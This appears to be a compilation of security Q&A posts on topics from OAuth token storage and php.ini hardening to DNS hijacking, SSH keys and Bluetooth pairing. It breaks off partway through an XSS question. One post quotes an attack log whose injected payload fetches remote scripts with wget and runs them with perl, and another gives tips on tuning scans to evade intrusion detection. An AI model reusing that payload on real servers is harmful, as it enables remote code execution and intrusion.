Is it safe to keep a hardcoded oAuth token on an app built solely for personal use? I've built an android app that is only ever going to be used by me. It's not deployed to the store or anything - I download it to my phone with HockeyApp.

However, this app has an oAuth token hardcoded in as a string, which can access my private repositories on Github. Is this a security risk? I really don't want to go about the whole process of implementing an oAuth flow to generate a token via some kind of sign-in, so I'd like to just leave it hardcoded.

I'm not exactly the CEO of Google, so it is incredibly unlikely that anyone will make a malicious attempt to steal such things from my phone, though I suppose the possibility does exist.

"Safe" is a relative term, and not very helpful in a security context. Whether or not it is "safe" depends on what it protects and how you use it. If the app controls the US nuclear arsenal and you frequently leave your phone unlocked on the counter of public bathrooms while visiting Iran, I would say it is terribly unsafe. If only accesses your own personal GitHub (which does not contain state/trade secrets or nuclear launch codes), then I would say it is reasonable.

Hard coding credentials in an app you don't share is as secure as your phone or personal computer is. From a phone-security perspective, someone who has full access to your phone will probably be able to retrieve the key just as easily out of the phones memory whether it came from an oAuth flow or source code.

On the plus side, the fact that it is hard coded means no one can attack the oAuth flow - one less security risk. However it is stored in plain text on your laptop (in the source code presumably) - one more security risk. Again, which is "better" depends on your circumstances and expected threats, but for a typical person that isn't being directly targeted by skilled hackers, it probably doesn't make much of a difference.


Getting a manual security code review done - What to watch out for? We have a PHP application that we want to get code reviewed from an external security consultant, but I'm not clear on "how to" go about that process.

We did specify what kind of tests he should be doing, and the first part of his submitted report just points out VERY standard 'issues' in the use of eval(), fopen(), etc - under the heading of 'Input validation issues'.

I saw ALL of these reported problems on my own when I ran an automated security code review tool.

  (A) I dont know if that's the extent
  of the problem within my code and the
  guy did a good job, OR
  (B) he's just
  running these automated tools and just filtering the output to remove noise and
  that's it!

Questions:

  What should I be asking him to do?
  How can I cross check his work so that I know he's actually doing a good
  job?

(copied from https://stackoverflow.com/questions/4311151/getting-a-manual-security-code-review-done-what-to-watch-out-for)

Realizing that you even have such a question already puts you ahead of the game.
I would also add:

  (C) He's not very good at reviewing code, so you'll only get "low hanging fruit"
  (D) He's really a pentester, that thinks its "oh so easy" to branch out into code, so you'll get similar results as a pentest, only traced to the actual code.
  (E) He's a developer, without much understanding of security, but knows some bad code.
  etc...

Point of the matter is, it seems that he's not being very transparent with you - so it doesnt really matter which option it is. Even (A) My code has no problems is not worth very much, unless he can back it up with proof of which problems your code doesn't have (sic).
And no, running an automated tool does not count as a security code review, as you apparently felt, correctly.

So, to your questions:

1. What should you ask him to do "Security code review". He should be telling you what he will do, and/or recommend what else you need (this could/should be a pretty long list). Of course, you can/should give him more input, such as what your application does, who has access, how sensitive the data is, etc etc. But even if you don't, he should ask for this information. Without it, it's simply not a professional-level code review.

2. How do I cross-check his work - I would say that in general, there are 3 possiblities:

Learn enough about the subject to understand what he claims to be doing, and to ask the hard questions - or get somebody who does (Always true when dealing with provider of a service you don't quite understand...)
Have another consultant do a competing review - even if only on a subset of the application.
(And this is the good one) Perform an external blackbox penetration test. This is the best way of validating the code review. Of course, have someone else do the pentest, and compare results. Note that not all vulnerabilities found in pentest are relevant to be found in a code review, and vice versa, but it should give you some indication.


Do generic custom scripts avoid detection more than common security applications? Are scripts coded only using the default API of a high level, interpreted language for generic and meticulous gathering of network device and host software information that are already available through common network security applications able to go unnoticed at times that common network security applications would set off alarms from packet inspection?

A packet is a packet is a packet. There is no difference no matter how you generate it, be it using a tool like scapy or using a scripting language like Python or Ruby.

What matters is the frequency and contents of the packets you are sending out. For example, a IDS might get suspicious if you are hitting the system with multiple SYN packets on multiple ports, which is what happens if you use the default -sS flag on nmap. What a scripting language will allow you do to is specify exactly how many packets you want to send out how many times. This is a very flexible option that allows you to craft out your scans in a very fine-grained manner to avoid detection.

Of course, a tool like nmap has many options, including but not limited to the --max-rate and --max-retries flags that allow you to tune the scanning frequency. This may or may not be enough depending on the exact situation.


Should I wipe my device when leaving the company? I'm leaving my company soon.

Only one person in the whole company has admin-rights on client machines and does the reinstalls. To save time only the old userprofile gets deactivated and a new one generated.

This leads to data lying around rather easy to access.

Should I wipe my device, even if I'm not explicitally allowed to do so?

All passwords of the company are safed on the network, same for files.

As I had to use this laptop also for private reasons I'd rather have my data removed completely. I wouldn't mind if they put the machine in quarantine for two weeks and then wipe it, but just adding a new userprofile seems rather weak to me.

(and btw there are severe driver issues on the machines. Couldn't solve them in all the years without adminrights)

The short answer is no, but...

The problem here is that you don't own the machine and your company may have a policy that forbids you to do such a thing.

Here's what I would do:

Talk to my CTO about my concerns and explain my plan of action
Ask them if there is any reason they would prefer to keep the data intact
Come up with 2 or 3 Other proposals that they might find agreeable (i.e. "how about you guys keep the laptop as is for a week or two to get anything you want from it or to go through your decommission policy, then we do a wipe on the drive so it addresses my concerns as well").
See if an amicable agreement can be made.

Ultimately the problem is a legal one, I'm no lawyer, but if you wipe the drive and they explicitly tell you not to, you might be liable in some way. I would avoid it if at all possible.

I would always want to wipe my drives, even work ones. But my strategy is to work with them in finding a way we are both happy with the result. Doing things unilaterally will at best put a sour note on your relationship with that company and possibly affect you in unintended ways in the future (think job references), and at worst might lead to grievances from the company, something you never want to be a part of.

I would advise strongly you talk to your managers and your technical department, have a sit down and plead your case and your reasoning. I'm sure you both can come to some sort of understanding, that way no one leaves feeling betrayed.


Does this image contain secret data? I am analysing big, cloud-based application. During analysis I found that one of the biggest files (>3 MB) used in this app is a very small (16x16) icon.png file.

Further analysis revealed that the file contains over 60000 lines of metadata, consisting mostly of <rdf:li> tags inside <photoshop:DocumentAncestors> tag. Here is an example:

     <photoshop:DocumentAncestors>
        <rdf:Bag>
           <rdf:li>0</rdf:li>
           <rdf:li>00094172844843523D09FDF552DF119E</rdf:li>
           <rdf:li>000B84DD32F5ABCC8D7B5E8681465EE9</rdf:li>
           <rdf:li>0013FA92942B6EC5451A4D9D4972AD7E</rdf:li>
           <rdf:li>0017ED7FA617555EF7D04797B72E2946</rdf:li>
           <rdf:li>0030491E2F4C927C3D67B20A9710BC01</rdf:li>
           <rdf:li>003287E12D0B5EA81D0AED63DDC335E5</rdf:li>
           <rdf:li>004657FECAF7D9DF3A459A2C0820D29A</rdf:li>
           <rdf:li>0048B527A1E225804FA1FE3E90A74F50</rdf:li>
           <rdf:li>0061E7DAD11961FF150102241FDE8BF5</rdf:li>

How can I check if this metadata was placed here "naturally" or it contains some hiddent data?

Looks like this metadata lists document IDs that were used during creation of the file. You can check this article: http://www.hackerfactor.com/blog/index.php?/archives/2013/05/23.html, search for the "Ancestors" section.

So, it contains technical metadata which could be placed there 'naturally' by the Adobe applications.


Is generating a unique token enough to authenticate? We're building a physical device. This device needs to communicate with a remote server. To this end, the device first sends a HTTP request (secured by SSL) to "register" the device with the server, which responds with a long, unique string token generated by a cryptographically secure pseudorandom number generator (CSPRNG), which in turn is associated with that device. The token is transferred back to the device via a SSL connection. The device then includes this token along with other identifying characteristics (such as a MAC address and IP address) via a SSL connection when sending requests.

Is this sufficiently enough to determine that the communicating device is who it says it is? Because all requests go through a SSL connection, a hacker would not be able to easily steal the token, correct? A hacker would need to acquire the physical device in order to extract the token, but each device has a unique token, so theft does not affect the functionality of other devices in the system.

Whether this solution is appropriate depends on a couple of factors.  As pointed out in comments the challenge with your outlined solution is that assuming an attacker can reach the service endpoint, they can complete the registration process and obtain valid tokens for use.

Will the service accept registration from any MAC address or just ones which you know belong to valid devices?  If the range accepted is limited it might be more difficult for an attacker to discover a valid address to make the request?
Will your service have any counter-measures against brute-force attacks?  Assuming the attacker can get the OUI for the MAC addresses you're using, they could cycle that space trying to get valid tokens.  In this scenario brute-force protections could help.
What security assertion are you looking to use this token for?  If you're just pairing a user with a device and then using it to stop the user logging in to multiple devices, then this could work to an extent, although there is a risk that the user could copy the token to another device and change the MAC address to match the original.


has there ever been router virus able to send SMS (text) I am fighting with my network provider.

If I have router with LTE GSM Card inside, is it possible for router malware to send text messages from it? Or has it ever been done? They say I subscribed to some paid services, which they allowed for unknown reasons.

I heard about using routers for DDoS attack or for reconaissance (Chameleon). Texting seems extremely challenging and hacker would probably go for easier target - mobile phones? Or maybe it would be easier to subscribe to paid services by spoofed SMS?

What operating system is there in TL-MR 3420? Busybox? Toybox? I found that you can install OpenWrt. What is there by default?

First, if your bill has truly unauthorized charges, then you are most likely the victim of cramming.  If you didn't personally ask for the service, then you don't have to pay.  Have your service provider remove the charges.

Next, is it technically possible for a router to send a text message?  Yes.  Sending a text is easier than you think.  Basically, send an email to  TargerPhoneNumber@ServiceProvider.com.  Here are some examples.

AT&T: number@txt.att.net.
T-Mobile: number@tmomail.net.
Verizon: number@vtext.com.
Sprint: number@messaging.sprintpcs.com or number@pm.sprint.com.
Virgin Mobile: number@vmobl.com.
Tracfone: number@mmst5.tracfone.com.
Metro PCS: number@mymetropcs.com

So, sure... anything that can send an email can send a text.  That would include a router.  But! This isn't about technical feasibility.  This is about your ISP removing charges for services you didn't ask for.  AT&T was forced to pay $105 million for allowing third parties to cram fraudulent charges onto their customers bills in 2014.  Skip the technical wild goose chase and tell your network provider to reverse the charges.

Good luck!


ensuring that compiled (and signed) packages don't contain malicious code I would like to understand how the packaged Linux distributions (i.e. Debian) ensure that their packages don't contain any malicious code. I know that packages are signed, and that I can download the package source and compile the package myself. But even when I do compile the package myself, the md5sum of that package will be different from the distribution package (even if the source code is identical). The same applies if I compile the same code twice (i.e. on two different machines), the resulting binary will be different.

Do I understand it correctly, that the whole trust lies in the maintainer who compiles (and signs) the package? What if somebody evil bribed this maintainer to smuggle in some back door. How would we detect it?

UPDATE:

I have tried compiling mc from debian source with dpkg-buildpackage, but I am unable to produce identical mc binary:

# apt-get source mc
# cd mc-4.8.3/
# dpkg-buildpackage
# cd ..
# md5sum mc_4.8.3-10_amd64.deb
f373e2a80074098e1ce1672428660dd4  mc_4.8.3-10_amd64.deb
#
# apt-get download mc
# md5sum mc_4.8.3-10_amd64.deb
9e412f6352b2b013a8e15ea88a48b21e  mc_4.8.3-10_amd64.deb

If you compile the package yourself - and use the same compiler and settings - then you will get identical binaries to the distribution binaries. The theory is that in a large community like Debian, some people will periodically do this, and would detect any changes introduced by the package maintainer. The maintainer is in a highly trusted position, and we can't really avoid that, but at least there is some oversight by the wider community.

The source code is open for public inspection, so the theory is that some people in the community will review this. Anyone with write access to the source code is again in a highly trusted position, but again, there is some community oversight.

Compare this to closed source software where there is very little oversight at all. When you pick up a Windows DVD, what confidence do you have that there is not an NSA backdoor on the disc?


php.ini security setting after attack My website have been attacked and I need a best practice for a php.ini I have done some reading but I am still not sure if I covered most of the options.

here is my settings:

file_uploads = Off
upload_tmp_dir = /var/php_tmp
upload_max_filezize = 0M
allow_url_fopen = Off
allow_url_include = Off
safe_mode = On
display_errors = Off
magic_quotes_gpc = On
magic_quotes_runtime = On
max_file_uploads=0

here is what I got error log from the webhost company:

121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http://some.thesome.com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget http://some.thesome.com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"

First of all,  this attack will not work on the latest 5.3 branch because null byte poisoning attacks have been fixed for file-io functions.   That being said none of your settings will defend against these attacks except for magic_qutoes_gpc in some edge cases because the null byte will be escaped.  Although to be honest I would disable magic_qutoes_gpc,  you should not rely upon it for security and more often than not it will malform user input.  magic_quotes_gpc is being removed in php6.

To make sure php is configured properly you should run PHPSecInfo.  You should also remove the write bit from your entire web root,  and remove file_privs from your mysql account.  Here is more information for locking down php.


Encryption strategies for multi users access revisited This is a follow up to this post:

Encryption strategies for multi users access in production systems

I don't see how this can work given the second bullet point:

Kc is stored on the computer n separate times, one per user. Each instance is encrypted by a different user key Ku1...Kun.

Two related questions:

What happens when a new user is added to the system. Since that new user needs a copy of an unencrypted Kc, then it would follow that Kc is sitting on the disk somewhere, which begs the question, "Why does every user need their own self-encrypted copy of Kc?
What happens when a user is deleted from the system? In the comments of the original post, user Thomas Pornin states Kc needs to be replaced every time a user is removed from the system, which means that each user would need to get a new key every time. If this is the case, wouldn't each user need to be logged out of a current session since the data will be unreadable with their suddenly outdated key?

"What happens when a new user is added to the system."

A new user can only be added by an existing user who has already decrypted the disk.  This existing user supplies Kc, which only ever resides in memory (not on disk).

"Why does every user need their own self-encrypted copy of Kc"

Because none of the alternatives are acceptable.  Let's look at them.  Suppose all user records shared an unencrypted copy of Kc.  This Kc would have to be stored on disk somewhere to persist across reboots.  In that case, the disk's data is encrypted, but the plaintext decryption key is stored on the same disk, so anyone with a disk image can decrypt the disk.  Useless.

Suppose that each user had an encrypted copy of Kc, but all were encrypted with the same key.  Then each user would have to supply this key, presumably in the form of a password or passphrase.  But if every user has the same password, the system is not suitable for multiple users.

"What happens when a user is deleted from the system?"

A new master key Kc has to be generated, the disk's contents have to be reencrypted with the new Kc and every remaining users' Kui's has to be recreated.


Custom browser based on Internet Explorer - Uniqueness questions I have developed a custom web browser for Windows using C# (based on Internet Explorer 11) and I'm trying to understand & solve the next issues:

1. I adjusted the User Agent string and the platform changes as well, but when I run a uniqueness check in https://panopticlick.eff.org , a slightly different string shows in the results. For example, for the following adjusted string:

  "Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X)
  AppleWebKit/537.51.2 (KHTML like Gecko) GSA/4.2.2.38484 Mobile/12B411
  Safari/9537.53"

This string shows up:

  "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0;
  .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR
  3.0.30729; HPNTDFJS; GWX:RESERVED)"

When I run the same check in a custom webbrowser I developed for android, the adjusted User Agent string stays exactly as written. Even custom characters show up the same in the result. What may cause this change in the browser that I developed for Windows? And what would be a reasonable solution?

2. How does panopticlick find my System fonts, my Screen size & Color depth and my Browser plugin details? How can I hide/customize this data in my custom web browser?

Clearly panopticlick is not showing the user-agent string you think you are sending to it.

I'm confused by your description of what happenned. The page at https://panopticlick.eff.org does not display any user agent.

The page at https://panopticlick.eff.org/index.php?action=log&js=yes displays the user agent I supplied whenever I changed the string. If you are seeing the original user agent string after asking your application to use a different one, then I would be more inclined to believe there is a bug in your code than some fiendish capability of panopticlick.

This is however a completely different question than how you should go about fooling a fingerprinting script. I have no idea what method Panopticlick uses, but there are large range of metrics a script might use. Since I presume you and the EFF bear no mutual ill-will, you would need to direct your efforts against whomever you intend to foil.


Checking for TLS between client and server There is a website with no HTTPS certificate on it and i have checked it is transmitting username password in clear text.

I scanned the system and application using IBM Appscan and Nexpose

IBM Appscan (Web Vulnerability Scanner) detects no HTTPS which i can confirm by opening link on browser

Nepose (Vulnerability Scanning tool) detected that self signed certificate is implemented on port 443 it tried to open webpage with port https://url:443 but page redirects to normal http (no certificate)
nexpose also detects TLS 1.0 is implemented

Application vendor says that on back end TLS is implemented

How can i verify that TLS is implemented on back end ? Nexpose confimred it but is there any other way

Use OpenSSL to attempt to connect and dump the certificate (if any).

openssl s_client -connect <server>:<port>

If it fails to connect, TLS isn't implemented. If it connects, then you'll get the certificate and you can check what it looks like.


How DNS hijacking was myetherwallet.com fault even though AWS DNS server was hijacked yesterday I have been reading on how myetherwallet was hacked a day ago because Amazons domain service was compromised, as mentioned here,
https://www.reddit.com/r/ethereum/comments/8ek86t/warning_myetherwalletcom_highjacked_on_google/

The title is erroneous. It was Amazons domain service that was
compromised. Googles DNS servers just take whatever IP Amazons domain
service tells it MEW's domain resolved to.
https://doublepulsar.com/hijack-of-amazons-internet-domain-service-used-to-reroute-web-traffic-for-two-hours-unnoticed-3a6f0dda6a6f

and
https://www.theregister.co.uk/2018/04/24/myetherwallet_dns_hijack/
But on MyEtherWallet's twitter people are blaming them for the hack, complaining that if they had DNSSec in place, it wouldn't have happened.
How is that MyEtherWallet's fault even though Amazon DNS was hijacked?

There are several things which went wrong here and MyEtherWallet could have done things to reduce the risk. The issue was that the traffic to the DNS server was hijacked and thus queries for specific domains resulted in a spoofed response, thus directing the browser to the attackers IP address with a server impersonating the original site. There the user was presented was a fake site which looked like the original one.

DNSSec is designed to prevent exactly this kind of spoofing, i.e. detect that a response is fake. But, DNSSec requires support from the domain owner (must sign records),  the DNS server (must return the signed records) and from the client (must require signed records). While MyEtherWallet could have configured there system to offer DNSSec for the domain it has no control over the client part: the attacker could have just returned an unsigned response since only some clients will request DNSSec in the first place and even fewer will insist on getting only a signed response.

Easier would have been to set HSTS for the domains of MyEtherWallet. If this HTTP header is set modern browsers will remember that the domain always needs to be accessed by HTTPS and that no exceptions in case of SSL problems are allowed. To bypass this simple to setup protection the attacker would also need to get a valid certificate for the attacked domain. It is often possible to get such a certificate if the attacker temporarily controls the domain (as seen in this report from an attack against Fox-IT) but by using a CA issuer with additional controls and by restricting the issuer CA using DNS CAA records it could have been made impossible or at least very hard for the attacker to get a certificate for this domain from a  public CA.

In summary: MyEtherWallet could have done several things to make it harder for the attacker. Some of these would be easy to implement but still very effective (HSTS). Others (like DNSSec) require adequate support on the client side which is not reality today.


How "safe" is it to set up my email on IMAP without SSL? I have to set up my mail client to check my emails on iOs. However, for some reason, I am unable to use the SSL option (for mail server login) ... I want to know if it is "safe" for me to opt for the non-SSL login option?

Accessing an IMAP server without TLS means that an attacker in the network

can sniff your username and password. Since these are often also used to authenticate when sending mail an attacker can send mail in your name.
can read and maybe even modify any mails your receive as an active man in the middle. For example an attacker might be able to replace some innocent attachment from a trusted person with an malicious attachment. The attacker might also delete mails or inject new mails, i.e. essentially the attacker is your mail server.

Note that TLS does not necessarily protect against all this. Many mail clients have the option to use TLS but accept any certificate. In this case such the man in the middle attacks are still possible since the attacker can present an arbitrary certificate instead of the certificate from the original IMAP server.
Also, TLS does not protect against an attacker which compromised the IMAP server itself.


Is it posible to validate a new user account/reset password without sending an email or phone number? I am intrested in creating a login mechanism which would create a user and validate his account, without using any of his details such as email, phone number etc.

Here is what I can think of :

Allow user to sign up from a website. This uses their browser
Make them download an application on their phone/desktop
They then sign in using ther username and password as defined in step 1
In the app, they click a button to verify their account

Some problems that I can think of

If using the desktop version instead, they could create an auto click/type bot in order to validate
User may have forgotten their username/password and they are signed out on their phone/desktop application, meaning they have no way to reset their account

To fix the password reset issue, I could use Google's authenticator application to create a one time code. The problem with this is if the user does not have accsess to their phone

Would this be a viable method for creating a web/app based service without collecting the users personal information? If not, are there any other ideas or is this not realy posible?

If this is not needed in order to validate a users, would this work by securing an account (by using the phone app)

If the focus of the solution is on a mechanism to authenticate a user without collecting any of their personal info (like email id), then using a delegated authentication mechanism is one way to go. For example, OpenID could be used to leverage an external auth server for our authentication needs. This way, we don't have to store any personal information of the user. More information can be found here.

Now, if the focus is to implement an authentication mechanism yourself, and you do not want to use any recovery back-channel (such as email or phone number), then a multi-factor (MFA) option is the way to go - Google Authenticator, sending a push message to your phone app and so on. MFA for a desktop solution could be achieved via a 'soft token'. There are a few well known providers, such as Entrust or AuthAnvil.


Is the 'demo' scrypt a good choice for file encryption? The scrypt command line utility (see http://www.tarsnap.com/scrypt.html) is actually just a demonstration of the script password hashing algorithm.

However, for simple command line encryption of files, it seems to me that it could be one of the most secure.  All symmetric encryption utilities (gpg, openssl, ccrypt) depend almost totally on the security of the password, the underlying file encryption is almost irrelevant.

As far as I can tell the scrypt demo uses ssl for the actual encryption, can anyone confirm this by the way?

So, it seems to me that scrypt is probably a good choice for an easy to use command line file encryption tool.  Am I right?

Background: Tarsnap's scrypt command uses AES encryption implemented by their own libcperciva. The scrypt algorithm is used as a key derivation function.

The good: The scrypt algorithm is one of, if not the most cryptographically secure key derivation function that we know of. This means that during a password brute-force attack, calculating the key from the possible passwords will be very costly. scrypt also uses a 32-byte salt when creating the key. From scryptenc.c:

crypto_entropy_read(salt, 32)

This offers protection against rainbow tables.

The unusual: scrypt AES implementation is via their own libcperciva. This is a custom implementation written by, and named for, Colin Percival, the founder of Tarsnap and author of the scrypt algorithm. While homegrown encryption implementations are generally considered less secure, an scrypt implementation by its author, a rather famous author, may be a counterexample. So you need to compare the advantages the author brings to the implementation to the fact that the library is not commonly used (ie: it has low Github statistics, a lack of visibility in OpenHUB, and only 1K hits in Google).

Summary: It is clear that using the scrypt algorithm with a strong salt as a key derivation function is a cryptographically secure strategy. There is some risk from using the homegrown AES implementation though that is  somewhat mitigated by the skill of its author. You are left with three options that all seem reasonable choices:

If you want a command line AES encryption tool that uses the scrypt function for key derivation, you may consider writing your own using a well-tested AES implemenation.
You can use bcrypt key stretching algorithm, making it more secure by increasing the length of the random password that you use. This means there's more for you to remember, but it provides a known and measurable amount of security (compared to the unknowns of libcperciva).
You can trust Colin Percival's implementation and use it as-is. I wouldn't dream of suggesting this for most people but we're not talking about most people.

Note: Thanks to @StephenTouset for pointing out Colin Percival's notoriety.


What are the logical steps taken to perform ssh key authentication? I understand the logical steps of asymmetric key cryptography as it relates to TLS, however, I've started using Git and in a bid to avoid having to use a password for authentication, I've set up ssh keys for passwordless authentication. I understand that these ssh keys are complements of each other but I do not understand how the actual authentication is taking place. I've copied the public key to Git and stored the private key locally. As such, I am able to do what I set out to do (passwordless authentication) but I do not know the underlying steps as to why the authentication is successful. I've tried searching the web but every answer I've found thus far has been too high level in that they did not specify the steps. For example, were I looking for the TLS steps, I'd expect something along the lines of: Check cert of https page (server) - Grab public key and encrypt secret with it - Securely send secret to server which should be the only entity with the corresponding private key to decrypt - Server and client now switch over to encrypted communications using the, now, shared secret.

For example, were I looking for the TLS steps, I'd expect something along the lines of: Check cert of https page (server) - Grab public key and encrypt secret with it - Securely send secret to server which should be the only entity with the corresponding private key to decrypt - Server and client now switch over to encrypted communications using the, now, shared secret.

You're on the right track, but kind of in reverse.
For HTTPS the private key is on the server and you receive the public key on your client machine via the certificate.
When you use ssh keys, the private key is on the client (your computer) and the public key is on the server.
The protocol can proceed in different ways. The explanation in this paragraph is a high-level description that is appropriate for older versions of SSH. The server can use your public key to encrypt a challenge that is sent to you. Since you are the only one with the private key (hopefully), you are the only one who can decrypt the challenge. Thus, by successfully decrypting the challenge you have authenticated yourself without having to enter a password.
For more modern versions of SSH the protocol proceeds in somewhat the "opposite" direction. The protocol is described in RFC 4252. At a high level, the difference is that rather than accept a challenge from the server that is encrypted with the public key (on the server), the client uses the private key (which only the client has) to sign a message. The message the client signs contains: 1) session ID string; 2) message code byte; 3) user name; 4) service name; 5) authentication method; 6) boolean TRUE; 7) algorithm name string; 8) public key ID string. The server receives the signature and verifies it with the user's public key. This establishes the user's identity and so authenticates the user.
For more of the gory details, you can, for example, use Wireshark to observe your own traffic as you connect to a server using your ssh key. This will give you a better understanding of the detailed messages sent in practice.


taking input from webform and piping into bash password prompt I've been wanting to create a simple web application that would allow me to view certain text files that I've encryped with GnuPG  residing on my webserver through any browser remotely.

I've figured that the best way to do this is to set up a login system with user and password (seperate from that to decrypt my private key).

Once I've logged in, the server would attempt to decrypt the encrypted file and request my private key password. I can then prompt the browser for private key pass. Then I'd send the decrypted file back in plaintext (over TLS)

While it would only be me using this setup, I'm thinking that the only way for me to send my password to the GnuPG program is for my server to take the string and then use in in the password prompt of GnuPG. Are there any security implications I should be aware of when piping input in a web form into bash when gpg asks for a password (or any security issues with this entire design).

The entire session would be encrypted with TLS. I would also probably disable the gpg-agent, not that there would be any concurrent users on my private server. The end goal is for me to be able to access my passwords from ZX2C4 pass from any browser.

First of all, there's a pretty good chance that whatever you're trying to build, somebody else has built it already. That doesn't mean they built it right, but a solution probably exists.

Second, whatever web framework you intend to use, there's a pretty good chance that a GPG library exists for it, so you can call the gpg functions directly in code instead of shelling out to a command line.

Third, gpg command line has a --batch option that is specifically designed for non-interactive use where you have a program running the executable instead of a user at a terminal.

And finally, the primary danger with passing user input to command line programs is shell interpretation. If you execute the application directly (e.g. using execve or execle or any of the exec syscalls) where options are passed as a list not as a single space-delimited string, then no escaping or special treatment of parameters is needed, since the parameters are not being read and interpreted by a shell. As a rule, shell interpretation is bad unless you know otherwise, and should be avoided.


Security of Visual Studio Marketplace? As a consumer of Visual Studio Marketplace extensions, I frequently find myself wondering if this or that nice little add-on might be a security problem. For example, maybe it uploads my code somewhere. Is this a risk I simply have to take? Is this somehow checked? In the case of a popular add-on, would it be reasonable to assume that if it did do something like that, someone would have noticed?

Are Visual Studio Extensions audited?
No. Extensions are not audited by default. This Walkthrough describes the process of publishing an extension. As can be seen in step 9, the extension can be immediately published after the upload has completed.
How can I check what an extension does?
Visual Studio Extensions are delivered in the VSIX format, which is an archive format that can be extracted using 7zip. Technically, it is an OPC file as described here.
The archive itself contains several files to describe the extension, as well as a .DLL file with the actual code. From there on, you are reverse-engineering a .NET library like any other.
Can I trust that other people would do it for me?
Possibly, but you can never be 100% sure. Statistically, it's more likely that an extension that does one tiny thing and has 1 million downloads has been looked at by someone, than an extension that does God-knows-what and has 23 downloads.
However, you then essentially just shift the problem, and ask yourself how much you can trust those random strangers, as opposed to a different set of random strangers.
What can I do if I find a malicious extension?
When you look at the Visual Studio Extension Marketplace, you see a report button on the right side of the screen:

This is actually a mailto:// link to the address vsmarketplace@microsoft.com, where they ask you to provide a brief description of the issue. I never had to report an extension myself, so I cannot make a statement if any how quickly they would respond to an issue.


Can I safely store my admin scripts in a publicly available script file? On a project I am working on I have all javascripts mixed together in all.js. I have a separate file, admin.js that contains scripts used on the admin section of the project. This file is only included when browsing the admin section.

Is there any security risks involved in having admin.js together with all other assets? Meaning that it is publicly available, if you know where to find it.

It does not contain any usernames or password. And it only makes calls to urls protected by admin middleware.

There's no security risks associated with including everything in a single file. This is typically what web optimizers do anyway.

Whether it's safe to allow public access to admin scripts though, depends on what's in them. You've mentioned you don't store credentials in there, so it shouldn't be a security risk. However you may potentially have intellectual property that you'd prefer your competitors don't get access to. In this case you could potentially protect them in the same way as the rest of the admin only content.


How to add AltName from csr file to crt file using "openssl x509 -req"? I'm a webdeveloper and want to test my websites locally with a self signed SSL certificate.
Everything was working great until a few days ago, when chrome started complaining about a missing AltName property.

OpenSSL CA

I've created my own authority using:

openssl req
    -x509
    -sha256
    -new
    -out dev.root.ca.crt
    -keyout dev.root.ca.key
    -days 3650

CNF

I've created an openssl.cnf file by adding those values to the default ones:

[ CA_default ]
copy_extensions = copy

[req]
req_extensions = v3_req

[ v3_req ]
# Extensions to add to a certificate request
basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
subjectAltName = $ENV::ALTNAME

ALTNAME via shell

Then I use this command to generate a .csr and .key file:

set ALTNAME=DNS:dev.example.com

openssl req
    -newkey rsa:2048
    -out dev.example.com.csr
    -pubkey
    -new
    -keyout dev.example.com.key
    -sha256
    -config openssl.cnf

The generated csr file contains the alternative name as expected.

Altname does not make it from CSR into CRT

Then I use this command to generate the .crt and .key files:

openssl x509
    -req
    -in dev.example.com.csr
    -CA dev.root.ca.crt
    -CAkey dev.root.ca.key
    -CAcreateserial
    -out dev.example.com.crt
    -days 3650
    -sha256

But the alternative names are not present anymore in the generated crt file.

What now?

Do I need to add additional parameters to the openssl x509 -req command ?

Using the '-extfile' parameter fixed it.

Additional config file

I have added an openssl-ext.cnf file containing:

basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
subjectAltName = $ENV::ALTNAME

Using '-extfile' parameter

And added that new config file to the openssl command using the -extfile parameter:

openssl x509
    -req
    -in dev.example.com.csr
    -CA dev.root.ca.crt
    -CAkey dev.root.ca.key
    -CAcreateserial
    -out dev.example.com.crt
    -days 3650
    -sha256
    -extfile openssl-ext.cnf


Difference between Bluetooth LE Secure Connections security mode 1 and level 3 and 4? In BLUETOOTH SPECIFICATION Version 4.2 [Vol 3, Part C], page 372, there is a section called LE Security Modes, which states:

  There are two LE security modes, LE security mode 1 and LE security mode 2.

  LE security mode 1 has the following security levels:

  No security (No authentication and no encryption)
  Unauthenticated pairing with encryption
  Authenticated pairing with encryption
  Authenticated LE Secure Connections pairing with encryption

  LE security mode 2 has two security levels:

  Unauthenticated pairing with data signing
  Authenticated pairing with data signing

I do not really understand the difference between the LE security mode 1 and level 3 and 4. Can somebody say something about this?

Intro

In relation to another question LE has two main occurrences:

Secure Simple Pairing (4.0)
Secure Connections (4.2)

Both occurrences specify the algorithms that can/must be used in the following association methods:

Numeric Comparison , which protects against passive and active attacks. (for LE, not available in Secure Simple Pairing);
Just works, which protects against passive attacks IF ECDH is used (for LE, only the case in Secure Connections), and never
protects against active attacks;
Passkey entry, which protects against passive attacks IF ECDH is used (for LE, only the case in Secure Connections), and should protect against an active MITM attack (although there are some doubts about that, e.g. Padovan
Out Of Band, of which the security depends on the OOB method that is used.

When talking about an authenticated link, we talk about a link that provides protection against active MITM attacks.

Answer

Security mode 1, level 3 and 4 concern authenticated encryption. Looking at the table given by Bluetooth organization, we can choose between:

Passkey Entry
Numeric Comparison
OOB => this depends on the OOB channel, so is usually not discussed.

However, Numeric Comparison is not available in Secure Simple Pairing, so we can only use it in Secure Connections and must use Passkey Entry when using LE Secure Simple Pairing. Then again, not everybody is convinced that Passkey Entry cannot be broken, so the only real secure method is actually Numeric Comparison (and thus enforce LE Secure Connections). This can be bad from a compatibility standpoint of course.

Authenticated pairing uses Passkey Entry (no ECDH, as it is LE legacy!)
Authenticated LE Secure Connections pairing uses ECDH Passkey Entry OR preferably Numeric Comparison (both with P-256 ECDH as it is Secure Connections)


XSS - How serious can it be? I am just wondering about XSS attacks.  Lets say I have a normal website, but it displays a few things based on $_GET variables.  The website has no login system, all users can do is browse different pages which are dynamic.
In this scenario, what is the worse someone can do?

A more important question to me though is this.  Say my website is in my public_html folder, within its own folder.  So the url might look something like this

  www.mysite.com/siteA/index.php

